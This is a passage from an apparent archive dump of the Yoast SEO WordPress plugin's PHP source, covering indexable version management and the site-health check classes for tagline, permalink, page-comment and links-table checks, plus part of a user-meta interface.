			return $this->image->get_attachment_image_source( $feature_image_id, 'fullsize' );
		}

		return '';
	}

	/**
	 * Retrieves the url of the first available image. Tries each image source to get one image.
	 *
	 * @param int $post_id The post id to extract the image from.
	 *
	 * @return string The url of the featured image.
	 */
	public function get_auto_image( $post_id ) {
		$image = $this->get_first_attached_image( $post_id );

		if ( ! $image ) {
			$image = $this->get_first_image_in_content( $post_id );
		}

		return $image;
	}
}
wordpress-seo/src/services/indexables/indexable-version-manager.php000064400000004440147510273100021651 0ustar00<?php

namespace Yoast\WP\SEO\Services\Indexables;

use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Handles version control for Indexables.
 */
class Indexable_Version_Manager {

	/**
	 * Stores the version of each Indexable type.
	 *
	 * @var Indexable_Builder_Versions The current versions of all indexable builders.
	 */
	protected $indexable_builder_versions;

	/**
	 * Indexable_Version_Manager constructor.
	 *
	 * @param Indexable_Builder_Versions $indexable_builder_versions The current versions of all indexable builders.
	 */
	public function __construct( Indexable_Builder_Versions $indexable_builder_versions ) {
		$this->indexable_builder_versions = $indexable_builder_versions;
	}

	/**
	 * Determines if an Indexable has a lower version than the builder for that Indexable's type.
	 *
	 * @param Indexable $indexable The Indexable to check.
	 *
	 * @return bool True if the given version is older than the current latest version.
	 */
	public function indexable_needs_upgrade( $indexable ) {
		if ( ( ! $indexable )
			|| ( ! \is_a( $indexable, Indexable::class ) )
		) {
			return false;
		}

		return $this->needs_upgrade( $indexable->object_type, $indexable->version );
	}

	/**
	 * Determines if an Indexable version for the type is lower than the current version for that Indexable type.
	 *
	 * @param string $object_type       The Indexable's object type.
	 * @param int    $indexable_version The Indexable's version.
	 *
	 * @return bool True if the given version is older than the current latest version.
	 */
	protected function needs_upgrade( $object_type, $indexable_version ) {
		$current_indexable_builder_version = $this->indexable_builder_versions->get_latest_version_for_type( $object_type );

		// If the Indexable's version is below the current version, that Indexable needs updating.
		return $indexable_version < $current_indexable_builder_version;
	}

	/**
	 * Sets an Indexable's version to the latest version.
	 *
	 * @param Indexable $indexable The Indexable to update.
	 *
	 * @return Indexable
	 */
	public function set_latest( $indexable ) {
		if ( ! $indexable ) {
			return $indexable;
		}

		$indexable->version = $this->indexable_builder_versions->get_latest_version_for_type( $indexable->object_type );

		return $indexable;
	}
}
wordpress-seo/src/services/health-check/report-builder.php000064400000011667147510273100017775 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Provides an interface to build WordPress-friendly health check results.
 */
class Report_Builder {

	/**
	 * Passed health check.
	 */
	public const STATUS_GOOD = 'good';

	/**
	 * Changes are recommended but not necessary.
	 */
	public const STATUS_RECOMMENDED = 'recommended';

	/**
	 * Significant issues that the user should consider fixing.
	 */
	public const STATUS_CRITICAL = 'critical';

	/**
	 * The user-facing label.
	 *
	 * @var string
	 */
	private $label = '';

	/**
	 * The identifier that WordPress uses for the health check.
	 *
	 * @var string
	 */
	private $test_identifier = '';

	/**
	 * The test status (good, recommended, critical).
	 *
	 * @var string
	 */
	private $status = '';

	/**
	 * The short description for the result.
	 *
	 * @var string
	 */
	private $description = '';

	/**
	 * Actions that the user can take to solve the health check result.
	 *
	 * @var string
	 */
	private $actions = '';

	/**
	 * Sets the label for the health check that the user can see.
	 *
	 * @param  string $label The label that the user can see.
	 * @return Report_Builder This builder.
	 */
	public function set_label( $label ) {
		$this->label = $label;
		return $this;
	}

	/**
	 * Sets the name for the test that the plugin uses to identify the test.
	 *
	 * @param  string $test_identifier The identifier for the health check.
	 * @return Report_Builder This builder.
	 */
	public function set_test_identifier( $test_identifier ) {
		$this->test_identifier = $test_identifier;
		return $this;
	}

	/**
	 * Sets the status of the test result to GOOD (green label).
	 *
	 * @return Report_Builder This builder.
	 */
	public function set_status_good() {
		$this->status = self::STATUS_GOOD;
		return $this;
	}

	/**
	 * Sets the status of the test result to RECOMMENDED (orange label).
	 *
	 * @return Report_Builder This builder.
	 */
	public function set_status_recommended() {
		$this->status = self::STATUS_RECOMMENDED;
		return $this;
	}

	/**
	 * Sets the status of the test result to CRITICAL (red label).
	 *
	 * @return Report_Builder This builder.
	 */
	public function set_status_critical() {
		$this->status = self::STATUS_CRITICAL;
		return $this;
	}

	/**
	 * Sets a description for the test result. This will be the heading for the result in the user interface.
	 *
	 * @param  string $description The description for the test result.
	 * @return Report_Builder This builder.
	 */
	public function set_description( $description ) {
		$this->description = $description;
		return $this;
	}

	/**
	 * Sets a text that describes how the user can solve the failed health check.
	 *
	 * @param  string $actions The descriptive text.
	 * @return Report_Builder This builder.
	 */
	public function set_actions( $actions ) {
		$this->actions = $actions;
		return $this;
	}

	/**
	 * Builds an array of strings in the format that WordPress uses to display health checks (https://developer.wordpress.org/reference/hooks/site_status_test_result/).
	 *
	 * @return array The report in WordPress' site status report format.
	 */
	public function build() {
		return [
			'label'       => $this->label,
			'status'      => $this->status,
			'badge'       => $this->get_badge(),
			'description' => $this->description,
			'actions'     => $this->get_actions_with_signature(),
			'test'        => $this->test_identifier,
		];
	}

	/**
	 * Generates a badge that the user can see.
	 *
	 * @return string[] The badge.
	 */
	private function get_badge() {
		return [
			'label' => $this->get_badge_label(),
			'color' => $this->get_badge_color(),
		];
	}

	/**
	 * Generates the label for a badge.
	 *
	 * @return string The badge label.
	 */
	private function get_badge_label() {
		return \__( 'SEO', 'wordpress-seo' );
	}

	/**
	 * Generates the color for the badge using the current status.
	 *
	 * @return string The color for the badge's outline.
	 */
	private function get_badge_color() {
		if ( $this->status === self::STATUS_CRITICAL || $this->status === self::STATUS_RECOMMENDED ) {
			return 'red';
		}

		return 'blue';
	}

	/**
	 * Concatenates the set actions with Yoast's signature.
	 *
	 * @return string A string containing the set actions and Yoast's signature.
	 */
	private function get_actions_with_signature() {
		return $this->actions . $this->get_signature();
	}

	/**
	 * Generates Yoast's signature that's displayed at the bottom of the health check result.
	 *
	 * @return string Yoast's signature as an HTML string.
	 */
	private function get_signature() {
		return \sprintf(
			/* translators: 1: Start of a paragraph beginning with the Yoast icon, 2: Expands to 'Yoast SEO', 3: Paragraph closing tag. */
			\esc_html__( '%1$sThis was reported by the %2$s plugin%3$s', 'wordpress-seo' ),
			'<p class="yoast-site-health__signature"><img src="' . \esc_url( \plugin_dir_url( \WPSEO_FILE ) . 'packages/js/images/Yoast_SEO_Icon.svg' ) . '" alt="" height="20" width="20" class="yoast-site-health__signature-icon">',
			'Yoast SEO',
			'</p>'
		);
	}
}
wordpress-seo/src/services/health-check/report-builder-factory.php000064400000000720147510273100021426 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Creates Report_Builder instances.
 */
class Report_Builder_Factory {

	/**
	 * Creates a new Report_Builder instance.
	 *
	 * @param string $test_identifier The test identifier as a string.
	 * @return Report_Builder The new Report_Builder instance.
	 */
	public function create( $test_identifier ) {
		$instance = new Report_Builder();
		return $instance->set_test_identifier( $test_identifier );
	}
}
wordpress-seo/src/services/health-check/page-comments-reports.php000064400000004611147510273100021260 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Presents a set of different messages for the Page_Comments health check.
 */
class Page_Comments_Reports {

	use Reports_Trait;

	/**
	 * Constructor.
	 *
	 * @param  Report_Builder_Factory $report_builder_factory The factory for result builder objects.
	 *                                                        This class uses the report builder to generate WordPress-friendly
	 *                                                        health check results.
	 */
	public function __construct( Report_Builder_Factory $report_builder_factory ) {
		$this->report_builder_factory = $report_builder_factory;
	}

	/**
	 * Returns the report for when comments are set to be all on one page.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_success_result() {
		return $this->get_report_builder()
			->set_label( \esc_html__( 'Comments are displayed on a single page', 'wordpress-seo' ) )
			->set_status_good()
			->set_description( \__( 'Comments on your posts are displayed on a single page. This is just like we\'d suggest it. You\'re doing well!', 'wordpress-seo' ) )
			->build();
	}

	/**
	 * Returns the report for when comments are set to be broken up across multiple pages.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_has_comments_on_multiple_pages_result() {
		return $this->get_report_builder()
			->set_label( \__( 'Comments break into multiple pages', 'wordpress-seo' ) )
			->set_status_recommended()
			->set_description( \__( 'Comments on your posts break into multiple pages. As this is not needed in 999 out of 1000 cases, we recommend you disable it. To fix this, uncheck "Break comments into pages..." on the Discussion Settings page.', 'wordpress-seo' ) )
			->set_actions( $this->get_has_comments_on_multiple_pages_actions() )
			->build();
	}

	/**
	 * Returns the actions for when the comments are set to be broken up across multiple pages.
	 *
	 * @return string The actions as a string.
	 */
	private function get_has_comments_on_multiple_pages_actions() {
		return \sprintf(
			/* translators: 1: Opening tag of the link to the discussion settings page, 2: Link closing tag. */
			\esc_html__( '%1$sGo to the Discussion Settings page%2$s', 'wordpress-seo' ),
			'<a href="' . \esc_url( \admin_url( 'options-discussion.php' ) ) . '">',
			'</a>'
		);
	}
}
wordpress-seo/src/services/health-check/reports-trait.php000064400000001637147510273100017651 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Used by classes that use a health check Report_Builder.
 */
trait Reports_Trait {

	/**
	 * The factory for the builder object that generates WordPress-friendly test results.
	 *
	 * @var Report_Builder_Factory
	 */
	private $report_builder_factory;

	/**
	 * The test identifier that's set on the Report_Builder.
	 *
	 * @var string
	 */
	private $test_identifier = '';

	/**
	 * Sets the name that WordPress uses to identify this health check.
	 *
	 * @param  string $test_identifier The identifier.
	 * @return void
	 */
	public function set_test_identifier( $test_identifier ) {
		$this->test_identifier = $test_identifier;
	}

	/**
	 * Returns a new Report_Builder instance using the set test identifier.
	 *
	 * @return Report_Builder
	 */
	private function get_report_builder() {
		return $this->report_builder_factory->create( $this->test_identifier );
	}
}
wordpress-seo/src/services/health-check/postname-permalink-check.php000064400000002666147510273100021716 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Paasses when permalinks are set to contain the post name.
 */
class Postname_Permalink_Check extends Health_Check {

	/**
	 * Runs the health check.
	 *
	 * @var Postname_Permalink_Runner
	 */
	private $runner;

	/**
	 * Generates WordPress-friendly health check results.
	 *
	 * @var Postname_Permalink_Reports
	 */
	private $reports;

	/**
	 * Constructor.
	 *
	 * @param  Postname_Permalink_Runner  $runner  The object that implements the actual health check.
	 * @param  Postname_Permalink_Reports $reports The object that generates WordPress-friendly results.
	 */
	public function __construct(
		Postname_Permalink_Runner $runner,
		Postname_Permalink_Reports $reports
	) {
		$this->runner  = $runner;
		$this->reports = $reports;
		$this->reports->set_test_identifier( $this->get_test_identifier() );

		$this->set_runner( $this->runner );
	}

	/**
	 * Returns a human-readable label for this health check.
	 *
	 * @return string The human-readable label.
	 */
	public function get_test_label() {
		return \__( 'Postname permalink', 'wordpress-seo' );
	}

	/**
	 * Returns the WordPress-friendly health check result.
	 *
	 * @return string[] The WordPress-friendly health check result.
	 */
	protected function get_result() {
		if ( $this->runner->is_successful() ) {
			return $this->reports->get_success_result();
		}

		return $this->reports->get_has_no_postname_in_permalink_result();
	}
}
wordpress-seo/src/services/health-check/links-table-runner.php000064400000004000147510273100020531 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Runs the Links_Table health check.
 */
class Links_Table_Runner implements Runner_Interface {

	/**
	 * Is set to true when the links table is accessible.
	 *
	 * @var bool
	 */
	private $links_table_accessible = false;

	/**
	 * The Migration_Status object used to determine whether the links table is accessible.
	 *
	 * @var Migration_Status
	 */
	private $migration_status;

	/**
	 * The Options_Helper object used to determine whether the health check should run or not.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Constructor.
	 *
	 * @param Migration_Status $migration_status Object used to determine whether the links table is accessible.
	 * @param Options_Helper   $options_helper   Object used to determine whether the health check should run.
	 */
	public function __construct(
		Migration_Status $migration_status,
		Options_Helper $options_helper
	) {
		$this->migration_status = $migration_status;
		$this->options_helper   = $options_helper;
	}

	/**
	 * Runs the health check. Checks if the tagline is set to WordPress' default tagline, or to its set translation.
	 *
	 * @return void
	 */
	public function run() {
		if ( ! $this->should_run() ) {
			return;
		}

		$this->links_table_accessible = $this->migration_status->is_version( 'free', \WPSEO_VERSION );
	}

	/**
	 * Determines whether the health check should run or not.
	 *
	 * @return bool True if the text link counter feature is enabled.
	 */
	public function should_run() {
		$text_link_counter_enabled = $this->options_helper->get( 'enable_text_link_counter' );

		if ( ! \is_bool( $text_link_counter_enabled ) ) {
			return false;
		}

		return $text_link_counter_enabled;
	}

	/**
	 * Returns true if the links table is accessible
	 *
	 * @return bool The boolean indicating if the health check was succesful.
	 */
	public function is_successful() {
		return $this->links_table_accessible;
	}
}
wordpress-seo/src/services/health-check/myyoast-api-request-factory.php000064400000000751147510273100022435 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

use WPSEO_MyYoast_Api_Request;

/**
 * Creates WPSEO_MyYoast_Api_Request objects.
 */
class MyYoast_Api_Request_Factory {

	/**
	 * Creates a new WPSEO_MyYoast_API_Request.
	 *
	 * @param string $url  The URL for the request.
	 * @param array  $args Optional arguments for the request.
	 * @return WPSEO_MyYoast_Api_Request
	 */
	public function create( $url, $args = [] ) {
		return new WPSEO_MyYoast_Api_Request( $url, $args );
	}
}
wordpress-seo/src/services/health-check/page-comments-check.php000064400000002614147510273100020640 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Paasses when comments are set to be on a single page.
 */
class Page_Comments_Check extends Health_Check {

	/**
	 * Runs the health check.
	 *
	 * @var Page_Comments_Runner
	 */
	private $runner;

	/**
	 * Generates WordPress-friendly health check results.
	 *
	 * @var Page_Comments_Reports
	 */
	private $reports;

	/**
	 * Constructor.
	 *
	 * @param  Page_Comments_Runner  $runner  The object that implements the actual health check.
	 * @param  Page_Comments_Reports $reports The object that generates WordPress-friendly results.
	 */
	public function __construct(
		Page_Comments_Runner $runner,
		Page_Comments_Reports $reports
	) {
		$this->runner  = $runner;
		$this->reports = $reports;
		$this->reports->set_test_identifier( $this->get_test_identifier() );

		$this->set_runner( $this->runner );
	}

	/**
	 * Returns a human-readable label for this health check.
	 *
	 * @return string The human-readable label.
	 */
	public function get_test_label() {
		return \__( 'Page comments', 'wordpress-seo' );
	}

	/**
	 * Returns the WordPress-friendly health check result.
	 *
	 * @return string[] The WordPress-friendly health check result.
	 */
	protected function get_result() {
		if ( $this->runner->is_successful() ) {
			return $this->reports->get_success_result();
		}

		return $this->reports->get_has_comments_on_multiple_pages_result();
	}
}
wordpress-seo/src/services/health-check/postname-permalink-runner.php000064400000001614147510273100022142 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Runs the Postname_Permalink health check.
 */
class Postname_Permalink_Runner implements Runner_Interface {

	/**
	 * Is set to true when permalinks are set to contain the post name
	 *
	 * @var bool
	 */
	private $permalinks_contain_postname;

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->permalinks_contain_postname = false;
	}

	/**
	 * Runs the health check. Checks if permalinks are set to contain the post name.
	 *
	 * @return void
	 */
	public function run() {
		$this->permalinks_contain_postname = ( \strpos( \get_option( 'permalink_structure' ), '%postname%' ) !== false );
	}

	/**
	 * Returns true if permalinks are set to contain the post name.
	 *
	 * @return bool True if permalinks are set to contain the post name.
	 */
	public function is_successful() {
		return $this->permalinks_contain_postname;
	}
}
wordpress-seo/src/services/health-check/page-comments-runner.php000064400000001503147510273100021070 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Runs the Page_Comments health check.
 */
class Page_Comments_Runner implements Runner_Interface {

	/**
	 * Is set to true when comments are set to display on a single page.
	 *
	 * @var bool
	 */
	private $comments_on_single_page;

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->comments_on_single_page = false;
	}

	/**
	 * Runs the health check. Checks if comments are displayed on a single page.
	 *
	 * @return void
	 */
	public function run() {
		$this->comments_on_single_page = \get_option( 'page_comments' ) !== '1';
	}

	/**
	 * Returns true if comments are displayed on a single page.
	 *
	 * @return bool True if comments are displayed on a single page.
	 */
	public function is_successful() {
		return $this->comments_on_single_page;
	}
}
wordpress-seo/src/services/health-check/runner-interface.php000064400000000425147510273100020273 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Interface for the health check runner. The abstract Health_Check uses this to run a health check.
 */
interface Runner_Interface {

	/**
	 * Runs the health check.
	 *
	 * @return void
	 */
	public function run();
}
wordpress-seo/src/services/health-check/default-tagline-check.php000064400000002661147510273100021150 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Passes when the tagline is set to something other than the WordPress default tagline.
 */
class Default_Tagline_Check extends Health_Check {

	/**
	 * Runs the health check.
	 *
	 * @var Default_Tagline_Runner
	 */
	private $runner;

	/**
	 * Generates WordPress-friendly health check results.
	 *
	 * @var Default_Tagline_Reports
	 */
	private $reports;

	/**
	 * Constructor.
	 *
	 * @param  Default_Tagline_Runner  $runner  The object that implements the actual health check.
	 * @param  Default_Tagline_Reports $reports The object that generates WordPress-friendly results.
	 */
	public function __construct(
		Default_Tagline_Runner $runner,
		Default_Tagline_Reports $reports
	) {
		$this->runner  = $runner;
		$this->reports = $reports;
		$this->reports->set_test_identifier( $this->get_test_identifier() );

		$this->set_runner( $this->runner );
	}

	/**
	 * Returns a human-readable label for this health check.
	 *
	 * @return string The human-readable label.
	 */
	public function get_test_label() {
		return \__( 'Default tagline', 'wordpress-seo' );
	}

	/**
	 * Returns the WordPress-friendly health check result.
	 *
	 * @return string[] The WordPress-friendly health check result.
	 */
	protected function get_result() {
		if ( $this->runner->is_successful() ) {
			return $this->reports->get_success_result();
		}

		return $this->reports->get_has_default_tagline_result();
	}
}
wordpress-seo/src/services/health-check/postname-permalink-reports.php000064400000005247147510273100022335 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Presents a set of different messages for the Postname_Permalink health check.
 */
class Postname_Permalink_Reports {

	use Reports_Trait;

	/**
	 * Constructor.
	 *
	 * @param  Report_Builder_Factory $report_builder_factory The factory for result builder objects.
	 *                                                        This class uses the report builder to generate WordPress-friendly
	 *                                                        health check results.
	 */
	public function __construct( Report_Builder_Factory $report_builder_factory ) {
		$this->report_builder_factory = $report_builder_factory;
	}

	/**
	 * Returns the report for when permalinks are set to contain the post name.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_success_result() {
		return $this->get_report_builder()
			->set_label( \esc_html__( 'Your permalink structure includes the post name', 'wordpress-seo' ) )
			->set_status_good()
			->set_description( \__( 'You do have your postname in the URL of your posts and pages.', 'wordpress-seo' ) )
			->build();
	}

	/**
	 * Returns the report for when permalinks are not set to contain the post name.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_has_no_postname_in_permalink_result() {
		return $this->get_report_builder()
			->set_label( \__( 'You do not have your postname in the URL of your posts and pages', 'wordpress-seo' ) )
			->set_status_recommended()
			->set_description( $this->get_has_no_postname_in_permalink_description() )
			->set_actions( $this->get_has_no_postname_in_permalink_actions() )
			->build();
	}

	/**
	 * Returns the description for when permalinks are not set to contain the post name.
	 *
	 * @return string The description as a string.
	 */
	private function get_has_no_postname_in_permalink_description() {
		return \sprintf(
			/* translators: %s expands to '/%postname%/' */
			\__( 'It\'s highly recommended to have your postname in the URL of your posts and pages. Consider setting your permalink structure to %s.', 'wordpress-seo' ),
			'<strong>/%postname%/</strong>'
		);
	}

	/**
	 * Returns the actions for when permalinks are not set to contain the post name.
	 *
	 * @return string The actions as a string.
	 */
	private function get_has_no_postname_in_permalink_actions() {
		return \sprintf(
			/* translators: %1$s is a link start tag to the permalink settings page, %2$s is the link closing tag. */
			\__( 'You can fix this on the %1$sPermalink settings page%2$s.', 'wordpress-seo' ),
			'<a href="' . \admin_url( 'options-permalink.php' ) . '">',
			'</a>'
		);
	}
}
wordpress-seo/src/services/health-check/links-table-check.php000064400000002647147510273100020314 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Passes when the links table is accessible.
 */
class Links_Table_Check extends Health_Check {

	/**
	 * Runs the health check.
	 *
	 * @var Links_Table_Runner
	 */
	private $runner;

	/**
	 * Generates WordPress-friendly health check results.
	 *
	 * @var Links_Table_Reports
	 */
	private $reports;

	/**
	 * Constructor.
	 *
	 * @param Links_Table_Runner  $runner  The object that implements the actual health check.
	 * @param Links_Table_Reports $reports The object that generates WordPress-friendly results.
	 */
	public function __construct(
		Links_Table_Runner $runner,
		Links_Table_Reports $reports
	) {
		$this->runner  = $runner;
		$this->reports = $reports;
		$this->reports->set_test_identifier( $this->get_test_identifier() );

		$this->set_runner( $this->runner );
	}

	/**
	 * Returns a human-readable label for this health check.
	 *
	 * @return string The human-readable label.
	 */
	public function get_test_label() {
		return \__( 'Links table', 'wordpress-seo' );
	}

	/**
	 * Returns the WordPress-friendly health check result.
	 *
	 * @return string[] The WordPress-friendly health check result.
	 */
	protected function get_result() {
		if ( ! $this->runner->should_run() ) {
			return [];
		}

		if ( $this->runner->is_successful() ) {
			return $this->reports->get_success_result();
		}

		return $this->reports->get_links_table_not_accessible_result();
	}
}
wordpress-seo/src/services/health-check/default-tagline-runner.php000064400000002165147510273100021403 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Runs the Default_Tagline health check.
 */
class Default_Tagline_Runner implements Runner_Interface {

	/**
	 * The default WordPress tagline.
	 */
	public const DEFAULT_BLOG_DESCRIPTION = 'Just another WordPress site';

	/**
	 * Is set to true when the default tagline is set.
	 *
	 * @var bool
	 */
	private $has_default_tagline = true;

	/**
	 * Runs the health check. Checks if the tagline is set to WordPress' default tagline, or to its set translation.
	 *
	 * @return void
	 */
	public function run() {
		$blog_description = \get_option( 'blogdescription' );

		// We are using the WordPress internal translation.
		$translated_blog_description = \__( 'Just another WordPress site', 'default' );

		$this->has_default_tagline = $translated_blog_description === $blog_description || $blog_description === self::DEFAULT_BLOG_DESCRIPTION;
	}

	/**
	 * Returns true if the tagline is set to a non-default tagline.
	 *
	 * @return bool The boolean indicating if the health check was succesful.
	 */
	public function is_successful() {
		return ! $this->has_default_tagline;
	}
}
wordpress-seo/src/services/health-check/health-check.php000064400000004660147510273100017351 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Abstract class for all health checks. Provides a uniform interface for the Health_Check_Integration.
 */
abstract class Health_Check {

	/**
	 * The prefix to add to the test identifier. Used to differentiate between Yoast's health checks, and other health checks.
	 */
	public const TEST_IDENTIFIER_PREFIX = 'yoast-';

	/**
	 * The object that runs the actual health check.
	 *
	 * @var Runner_Interface
	 */
	private $runner;

	/**
	 * The health check implementation sets the runner so this class can start a health check.
	 *
	 * @param  Runner_Interface $runner The health check runner.
	 * @return void
	 */
	protected function set_runner( $runner ) {
		$this->runner = $runner;
	}

	/**
	 * Returns the identifier of health check implementation. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/).
	 *
	 * @return string The identifier that WordPress requires.
	 */
	public function get_test_identifier() {
		$full_class_name            = static::class;
		$class_name_backslash_index = \strrpos( $full_class_name, '\\' );

		$class_name = $full_class_name;
		if ( $class_name_backslash_index ) {
			$class_name_index = ( $class_name_backslash_index + 1 );
			$class_name       = \substr( $full_class_name, $class_name_index );
		}

		$lowercase            = \strtolower( $class_name );
		$whitespace_as_dashes = \str_replace( '_', '-', $lowercase );
		$with_prefix          = self::TEST_IDENTIFIER_PREFIX . $whitespace_as_dashes;
		return $with_prefix;
	}

	/**
	 * Returns the name of health check implementation that the user can see. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/).
	 *
	 * @return string A human-readable label for the health check.
	 */
	abstract public function get_test_label();

	/**
	 * Runs the health check, and returns its result in the format that WordPress requires to show the results to the user (https://developer.wordpress.org/reference/hooks/site_status_test_result/).
	 *
	 * @return string[] The array containing a WordPress site status report.
	 */
	public function run_and_get_result() {
		$this->runner->run();
		return $this->get_result();
	}

	/**
	 * Gets the result from the health check implementation.
	 *
	 * @return string[] The array containing a WordPress site status report.
	 */
	abstract protected function get_result();
}
wordpress-seo/src/services/health-check/default-tagline-reports.php000064400000004410147510273100021563 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

/**
 * Presents a set of different messages for the Default_Tagline health check.
 */
class Default_Tagline_Reports {

	use Reports_Trait;

	/**
	 * Constructor
	 *
	 * @param  Report_Builder_Factory $report_builder_factory The factory for result builder objects.
	 *                                                        This class uses the report builder to generate WordPress-friendly
	 *                                                        health check results.
	 */
	public function __construct( Report_Builder_Factory $report_builder_factory ) {
		$this->report_builder_factory = $report_builder_factory;
	}

	/**
	 * Returns the message for a successful health check.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_success_result() {
		return $this->get_report_builder()
			->set_label( \__( 'You changed the default WordPress tagline', 'wordpress-seo' ) )
			->set_status_good()
			->set_description( \__( 'You are using a custom tagline or an empty one.', 'wordpress-seo' ) )
			->build();
	}

	/**
	 * Returns the message for a failed health check. In this case, when the user still has the default WordPress tagline set.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_has_default_tagline_result() {
		return $this->get_report_builder()
			->set_label( \__( 'You should change the default WordPress tagline', 'wordpress-seo' ) )
			->set_status_recommended()
			->set_description( \__( 'You still have the default WordPress tagline. Even an empty one is probably better.', 'wordpress-seo' ) )
			->set_actions( $this->get_actions() )
			->build();
	}

	/**
	 * Returns the actions that the user should take when his tagline is still set to the WordPress default.
	 *
	 * @return string The actions as an HTML string.
	 */
	private function get_actions() {
		$query_args    = [
			'autofocus[control]' => 'blogdescription',
		];
		$customize_url = \add_query_arg( $query_args, \wp_customize_url() );

		return \sprintf(
			/* translators: 1: link open tag; 2: link close tag. */
			\esc_html__( '%1$sYou can change the tagline in the customizer%2$s.', 'wordpress-seo' ),
			'<a href="' . \esc_url( $customize_url ) . '">',
			'</a>'
		);
	}
}
wordpress-seo/src/services/health-check/links-table-reports.php000064400000006650147510273100020733 0ustar00<?php

namespace Yoast\WP\SEO\Services\Health_Check;

use WPSEO_Admin_Utils;
use WPSEO_Shortlinker;

/**
 * Presents a set of different messages for the Links_Table health check.
 */
class Links_Table_Reports {

	use Reports_Trait;

	/**
	 * Shortlinker object used to create short links for reports.
	 *
	 * @var WPSEO_Shortlinker
	 */
	private $shortlinker;

	/**
	 * Constructor
	 *
	 * @param  Report_Builder_Factory $report_builder_factory The factory for result builder objects.
	 *                                                        This class uses the report builder to generate WordPress-friendly
	 *                                                        health check results.
	 * @param  WPSEO_Shortlinker      $shortlinker            Object used to add short links to the report description.
	 */
	public function __construct(
		Report_Builder_Factory $report_builder_factory,
		WPSEO_Shortlinker $shortlinker
	) {
		$this->report_builder_factory = $report_builder_factory;
		$this->shortlinker            = $shortlinker;
	}

	/**
	 * Returns the message for a successful health check.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_success_result() {
		return $this->get_report_builder()
			->set_label( \__( 'The text link counter is working as expected', 'wordpress-seo' ) )
			->set_status_good()
			->set_description( $this->get_success_description() )
			->build();
	}

	/**
	 * Returns the message for a failed health check.
	 *
	 * @return string[] The message as a WordPress site status report.
	 */
	public function get_links_table_not_accessible_result() {
		return $this->get_report_builder()
			->set_label( \__( 'The text link counter feature is not working as expected', 'wordpress-seo' ) )
			->set_status_recommended()
			->set_description( $this->get_links_table_not_accessible_description() )
			->set_actions( $this->get_actions() )
			->build();
	}

	/**
	 * Returns the description for when the health check was successful.
	 *
	 * @return string The description as a string.
	 */
	private function get_success_description() {
		return \sprintf(
			/* translators: 1: Link to the Yoast SEO blog, 2: Link closing tag. */
			\esc_html__( 'The text link counter helps you improve your site structure. %1$sFind out how the text link counter can enhance your SEO%2$s.', 'wordpress-seo' ),
			'<a href="' . $this->shortlinker->get( 'https://yoa.st/3zw' ) . '" target="_blank">',
			WPSEO_Admin_Utils::get_new_tab_message() . '</a>'
		);
	}

	/**
	 * Returns the description for when the health couldn't access the links table.
	 *
	 * @return string The description as a string.
	 */
	private function get_links_table_not_accessible_description() {
		return \sprintf(
			/* translators: 1: Yoast SEO. */
			\__( 'For this feature to work, %1$s needs to create a table in your database. We were unable to create this table automatically.', 'wordpress-seo' ),
			'Yoast SEO'
		);
	}

	/**
	 * Returns the actions that the user should take when the links table is not accessible.
	 *
	 * @return string The actions as a string.
	 */
	private function get_actions() {
		return \sprintf(
			/* translators: 1: Link to the Yoast help center, 2: Link closing tag. */
			\esc_html__( '%1$sFind out how to solve this problem on our help center%2$s.', 'wordpress-seo' ),
			'<a href="' . $this->shortlinker->get( 'https://yoa.st/3zv' ) . '" target="_blank">',
			WPSEO_Admin_Utils::get_new_tab_message() . '</a>'
		);
	}
}
wordpress-seo/src/user-meta/domain/custom-meta-interface.php000064400000002165147510273100020231 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Domain;

/**
 * This interface describes a custom meta.
 */
interface Custom_Meta_Interface {

	/**
	 * Returns the priority which the custom meta's form field should be rendered with.
	 *
	 * @return int.
	 */
	public function get_render_priority(): int;

	/**
	 * Returns the db key of the custom meta.
	 *
	 * @return string
	 */
	public function get_key(): string;

	/**
	 * Returns the id of the custom meta's form field.
	 *
	 * @return string
	 */
	public function get_field_id(): string;

	/**
	 * Returns the meta value.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return string
	 */
	public function get_value( $user_id ): string;

	/**
	 * Returns whether the respective global setting is enabled.
	 *
	 * @return string
	 */
	public function is_setting_enabled(): bool;

	/**
	 * Returns whether the custom meta is allowed to be empty.
	 *
	 * @return bool
	 */
	public function is_empty_allowed(): bool;

	/**
	 * Renders the custom meta's field in the user form.
	 *
